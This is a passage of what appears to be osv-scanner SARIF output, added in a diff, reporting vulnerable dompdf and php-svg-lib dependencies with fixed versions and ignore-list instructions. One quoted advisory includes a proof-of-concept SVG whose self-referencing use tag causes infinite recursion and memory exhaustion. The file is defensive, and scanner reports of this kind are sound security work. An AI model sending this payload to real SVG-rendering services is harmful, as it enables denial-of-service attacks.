+ "text": "**Your dependency is vulnerable to [CVE-2023-50251](https://osv.dev/CVE-2023-50251)**.\n\n## [GHSA-ff5x-7qg5-vwf2](https://osv.dev/GHSA-ff5x-7qg5-vwf2)\n\n\u003cdetails\u003e\n\u003csummary\u003eDetails\u003c/summary\u003e\n\n\u003e ### Summary\n\u003e When parsing the attributes passed to a `use` tag inside an svg document, we can cause the system to go to an infinite recursion. Depending on the system configuration and attack pattern this could exhaust the memory available to the executing process and/or to the server itself.\n\u003e \n\u003e ### Details\n\u003e Inside `Svg\\Tag\\UseTag::before`, php-svg-lib parses the attributes passed to an `use` tag inside an svg document. When it finds a `href` or `xlink:href`, it will try to retrieve the object representing this tag:\n\u003e \n\u003e ```\n\u003e $link = $attributes[\"href\"] ?? $attributes[\"xlink:href\"];\n\u003e $this-\u003ereference = $document-\u003egetDef($link);\n\u003e \n\u003e if ($this-\u003ereference) {\n\u003e $this-\u003ereference-\u003ebefore($attributes);\n\u003e }\n\u003e ```\n\u003e \n\u003e `$document-\u003egetDef` is implemented as follow:\n\u003e \n\u003e ```\n\u003e public function getDef($id) {\n\u003e $id = ltrim($id, \"#\");\n\u003e \n\u003e return isset($this-\u003edefs[$id]) ? $this-\u003edefs[$id] : null;\n\u003e }\n\u003e ```\n\u003e \n\u003e _Note:_ the `$id` in the above method is actually the _link_ being used in `use` tag. This part is important, because this behaviour here actually leads to the vulnerability. It will be mentioned later on in this report.\n\u003e \n\u003e If it finds the referenced object, it will try to call the `before` method on the referenced object (this is still inside `Svg\\Tag\\UseTag::before`) :\n\u003e \n\u003e ```\n\u003e if ($this-\u003ereference) {\n\u003e $this-\u003ereference-\u003ebefore($attributes);\n\u003e }\n\u003e ```\n\u003e \n\u003e In order to cause an infinte loop, we need to be able to control the `$id` used in the `$this-\u003edefs[$id]` code above. This `defs` property (`Svg\\Document::defs`) is being populated when `Svg\\Document::_tagStart` is called. This is the handler being used when the php-svg-lib is parsing the svg structure:\n\u003e \n\u003e ```\n\u003e // Svg\\Document line 343\n\u003e if ($tag) {\n\u003e if (isset($attributes[\"id\"])) {\n\u003e $this-\u003edefs[$attributes[\"id\"]] = $tag;\n\u003e }\n\u003e else {\n\u003e // ...\n\u003e }\n\u003e \n\u003e // ...\n\u003e }\n\u003e ```\n\u003e \n\u003e So if the `use` tag contains an `id`, then that `use` tag will be added to the `$defs` array with it's `id` as the key.\n\u003e \n\u003e Now as noted before, when there is a link inside the `use` tag, the library uses that link as the `id` to actually find the object or `tag` that has been added to the `Svg\\Document::defs`.\n\u003e \n\u003e So if the `id` attribute is equal to the link attribute inside the `use` tag, then the referenced object (in this case it is the `Use` tag object) will be called recursively until the memory given to the script is exhausted.\n\u003e \n\u003e ### PoC\n\u003e \n\u003e This is an example svg file that can be used to demonstrate the vulnerability.\n\u003e \n\u003e ```\n\u003e \u003csvg width=\"200\" height=\"200\"\n\u003e xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\"\u003e\n\u003e \u003cuse id=\"selfref\" xlink:href=\"#selfref\" /\u003e\n\u003e \u003c/svg\u003e\n\u003e ```\n\u003e \n\u003e ### Impact\n\u003e \n\u003e When the lib parses the above payload, it will crash:\n\u003e \n\u003e ```\n\u003e PHP Fatal error: Allowed memory size of 536870912 bytes exhausted (tried to allocate 262144 bytes) in /xxx/dompdf/vendor/phenx/php-svg-lib/src/Svg/Tag/UseTag.php on line 37\n\u003e ```\n\u003e \n\u003e An attacker sending multiple request to a system to render the above payload can potentially cause resource exhaustion to the point that the system is unable to handle incoming request.\n\n\u003c/details\u003e\n\n---\n\n### Affected Packages\n\n| Source | Package Name | Package Version |\n| --- | --- | --- |\n| lockfile:/Users/john.doe/projects/php/composer/composer.lock | phenx/php-svg-lib | 4498b5df7b08e8469f0f8279651ea5de9626ed02 |\n\n## Remediation\n\nTo fix these vulnerabilities, update the vulnerabilities past the listed fixed versions below.\n\n### Fixed Versions\n\n| Vulnerability ID | Package Name | Fixed Version |\n| --- | --- | --- |\n| GHSA-ff5x-7qg5-vwf2 | phenx/php-svg-lib | 0.5.1 |\n\nIf you believe these vulnerabilities do not affect your code and wish to ignore them, add them to the ignore list in an\n`osv-scanner.toml` file located in the same directory as the lockfile containing the vulnerable dependency.\n\nSee the format and more options in our documentation here: https://google.github.io/osv-scanner/configuration/\n\nAdd or append these values to the following config files to ignore this vulnerability:\n\n`/Users/john.doe/projects/php/composer/osv-scanner.toml`\n\n```\n[[IgnoredVulns]]\nid = \"CVE-2023-50251\"\nreason = \"Your reason for ignoring this vulnerability\"\n```\n"
898
+ },
899
+ "id": "CVE-2023-50251",
900
+ "name": "CVE-2023-50251",
901
+ "properties": {
902
+ "security-severity": "5.3"
903
+ },
904
+ "relationships": [],
905
+ "shortDescription": {
906
+ "markdown": "CVE-2023-50251: Denial of service caused by infinite recursion when parsing SVG document",
907
+ "text": "CVE-2023-50251: Denial of service caused by infinite recursion when parsing SVG document"
908
+ }
909
+ },
910
+ {
911
+ "deprecatedIds": [
912
+ "CVE-2022-0085",
913
+ "GHSA-pf6p-25r2-fx45"
914
+ ],
915
+ "fullDescription": {
916
+ "markdown": "Server-Side Request Forgery (SSRF) in GitHub repository dompdf/dompdf prior to 2.0.0.",
917
+ "text": "Server-Side Request Forgery (SSRF) in GitHub repository dompdf/dompdf prior to 2.0.0."
918
+ },
919
+ "help": {
920
+ "markdown": "**Your dependency is vulnerable to [CVE-2022-0085](https://osv.dev/CVE-2022-0085)**.\n\n## [GHSA-pf6p-25r2-fx45](https://osv.dev/GHSA-pf6p-25r2-fx45)\n\n\u003cdetails\u003e\n\u003csummary\u003eDetails\u003c/summary\u003e\n\n\u003e Server-Side Request Forgery (SSRF) in GitHub repository dompdf/dompdf prior to 2.0.0.\n\n\u003c/details\u003e\n\n---\n\n### Affected Packages\n\n| Source | Package Name | Package Version |\n| --- | --- | --- |\n| lockfile:/Users/john.doe/projects/php/composer/composer.lock | dompdf/dompdf | 60b704331479a69e9bcdb3496da2315b5c4f94fd |\n\n## Remediation\n\nTo fix these vulnerabilities, update the vulnerabilities past the listed fixed versions below.\n\n### Fixed Versions\n\n| Vulnerability ID | Package Name | Fixed Version |\n| --- | --- | --- |\n| GHSA-pf6p-25r2-fx45 | dompdf/dompdf | 2.0.0 |\n\nIf you believe these vulnerabilities do not affect your code and wish to ignore them, add them to the ignore list in an\n`osv-scanner.toml` file located in the same directory as the lockfile containing the vulnerable dependency.\n\nSee the format and more options in our documentation here: https://google.github.io/osv-scanner/configuration/\n\nAdd or append these values to the following config files to ignore this vulnerability:\n\n`/Users/john.doe/projects/php/composer/osv-scanner.toml`\n\n```\n[[IgnoredVulns]]\nid = \"CVE-2022-0085\"\nreason = \"Your reason for ignoring this vulnerability\"\n```\n",
921
+ "text": "**Your dependency is vulnerable to [CVE-2022-0085](https://osv.dev/CVE-2022-0085)**.\n\n## [GHSA-pf6p-25r2-fx45](https://osv.dev/GHSA-pf6p-25r2-fx45)\n\n\u003cdetails\u003e\n\u003csummary\u003eDetails\u003c/summary\u003e\n\n\u003e Server-Side Request Forgery (SSRF) in GitHub repository dompdf/dompdf prior to 2.0.0.\n\n\u003c/details\u003e\n\n---\n\n### Affected Packages\n\n| Source | Package Name | Package Version |\n| --- | --- | --- |\n| lockfile:/Users/john.doe/projects/php/composer/composer.lock | dompdf/dompdf | 60b704331479a69e9bcdb3496da2315b5c4f94fd |\n\n## Remediation\n\nTo fix these vulnerabilities, update the vulnerabilities past the listed fixed versions below.\n\n### Fixed Versions\n\n| Vulnerability ID | Package Name | Fixed Version |\n| --- | --- | --- |\n| GHSA-pf6p-25r2-fx45 | dompdf/dompdf | 2.0.0 |\n\nIf you believe these vulnerabilities do not affect your code and wish to ignore them, add them to the ignore list in an\n`osv-scanner.toml` file located in the same directory as the lockfile containing the vulnerable dependency.\n\nSee the format and more options in our documentation here: https://google.github.io/osv-scanner/configuration/\n\nAdd or append these values to the following config files to ignore this vulnerability:\n\n`/Users/john.doe/projects/php/composer/osv-scanner.toml`\n\n```\n[[IgnoredVulns]]\nid = \"CVE-2022-0085\"\nreason = \"Your reason for ignoring this vulnerability\"\n```\n"
922
+ },
923
+ "id": "CVE-2022-0085",
924
+ "name": "CVE-2022-0085",
925
+ "properties": {
926
+ "security-severity": "5.3"
927
+ },
928
+ "relationships": [],
929
+ "shortDescription": {
930
+ "markdown": "CVE-2022-0085: Server-Side Request Forgery in dompdf/dompdf",
931
+ "text": "CVE-2022-0085: Server-Side Request Forgery in dompdf/dompdf"
932
+ }
933
+ },
934
+ {
935
+ "deprecatedIds": [
936
+ "CVE-2022-28368",
937
+ "GHSA-x752-qjv4-c4hc"
938
+ ],
939
+ "fullDescription": {
940
+ "markdown": "Dompdf is an HTML to PDF converter. Dompdf before 1.2.1 allows remote code execution via a .php file in the src:url field of an @font-face Cascading Style Sheets (CSS) statement (within an HTML input file).",
941
+ "text": "Dompdf is an HTML to PDF converter. Dompdf before 1.2.1 allows remote code execution via a .php file in the src:url field of an @font-face Cascading Style Sheets (CSS) statement (within an HTML input file)."
942
+ },
943
+ "help": {
944
+ "markdown": "**Your dependency is vulnerable to [CVE-2022-28368](https://osv.dev/CVE-2022-28368)**.\n\n## [GHSA-x752-qjv4-c4hc](https://osv.dev/GHSA-x752-qjv4-c4hc)\n\n\u003cdetails\u003e\n\u003csummary\u003eDetails\u003c/summary\u003e\n\n\u003e Dompdf is an HTML to PDF converter. Dompdf before 1.2.1 allows remote code execution via a .php file in the src:url field of an @font-face Cascading Style Sheets (CSS) statement (within an HTML input file).\n\n\u003c/details\u003e\n\n---\n\n### Affected Packages\n\n| Source | Package Name | Package Version |\n| --- | --- | --- |\n| lockfile:/Users/john.doe/projects/php/composer/composer.lock | dompdf/dompdf | 60b704331479a69e9bcdb3496da2315b5c4f94fd |\n\n## Remediation\n\nTo fix these vulnerabilities, update the vulnerabilities past the listed fixed versions below.\n\n### Fixed Versions\n\n| Vulnerability ID | Package Name | Fixed Version |\n| --- | --- | --- |\n| GHSA-x752-qjv4-c4hc | dompdf/dompdf | 1.2.1 |\n\nIf you believe these vulnerabilities do not affect your code and wish to ignore them, add them to the ignore list in an\n`osv-scanner.toml` file located in the same directory as the lockfile containing the vulnerable dependency.\n\nSee the format and more options in our documentation here: https://google.github.io/osv-scanner/configuration/\n\nAdd or append these values to the following config files to ignore this vulnerability:\n\n`/Users/john.doe/projects/php/composer/osv-scanner.toml`\n\n```\n[[IgnoredVulns]]\nid = \"CVE-2022-28368\"\nreason = \"Your reason for ignoring this vulnerability\"\n```\n",
945
+ "text": "**Your dependency is vulnerable to [CVE-2022-28368](https://osv.dev/CVE-2022-28368)**.\n\n## [GHSA-x752-qjv4-c4hc](https://osv.dev/GHSA-x752-qjv4-c4hc)\n\n\u003cdetails\u003e\n\u003csummary\u003eDetails\u003c/summary\u003e\n\n\u003e Dompdf is an HTML to PDF converter. Dompdf before 1.2.1 allows remote code execution via a .php file in the src:url field of an @font-face Cascading Style Sheets (CSS) statement (within an HTML input file).\n\n\u003c/details\u003e\n\n---\n\n### Affected Packages\n\n| Source | Package Name | Package Version |\n| --- | --- | --- |\n| lockfile:/Users/john.doe/projects/php/composer/composer.lock | dompdf/dompdf | 60b704331479a69e9bcdb3496da2315b5c4f94fd |\n\n## Remediation\n\nTo fix these vulnerabilities, update the vulnerabilities past the listed fixed versions below.\n\n### Fixed Versions\n\n| Vulnerability ID | Package Name | Fixed Version |\n| --- | --- | --- |\n| GHSA-x752-qjv4-c4hc | dompdf/dompdf | 1.2.1 |\n\nIf you believe these vulnerabilities do not affect your code and wish to ignore them, add them to the ignore list in an\n`osv-scanner.toml` file located in the same directory as the lockfile containing the vulnerable dependency.\n\nSee the format and more options in our documentation here: https://google.github.io/osv-scanner/configuration/\n\nAdd or append these values to the following config files to ignore this vulnerability:\n\n`/Users/john.doe/projects/php/composer/osv-scanner.toml`\n\n```\n[[IgnoredVulns]]\nid = \"CVE-2022-28368\"\nreason = \"Your reason for ignoring this vulnerability\"\n```\n"
946
+ },
947
+ "id": "CVE-2022-28368",
948
+ "name": "CVE-2022-28368",
949
+ "properties": {
950
+ "security-severity": "9.8"
951
+ },
952
+ "relationships": [],
953
+ "shortDescription": {
954
+ "markdown": "CVE-2022-28368: Remote code injection in dompdf/dompdf",
955
+ "text": "CVE-2022-28368: Remote code injection in dompdf/dompdf"
956
+ }
957
+ }
958
+ ],
959
+ "supportedTaxonomies": [],
960
+ "taxa": [],
961
+ "version": "2.2.0"
962
+ },
963
+ "extensions": []
964
+ },
965
+ "translations": [],
966
+ "versionControlProvenance": [],
967
+ "webRequests": [],
968
+ "webResponses": []
969
+ }
970
+ ],
971
+ "properties": {}
972
+ }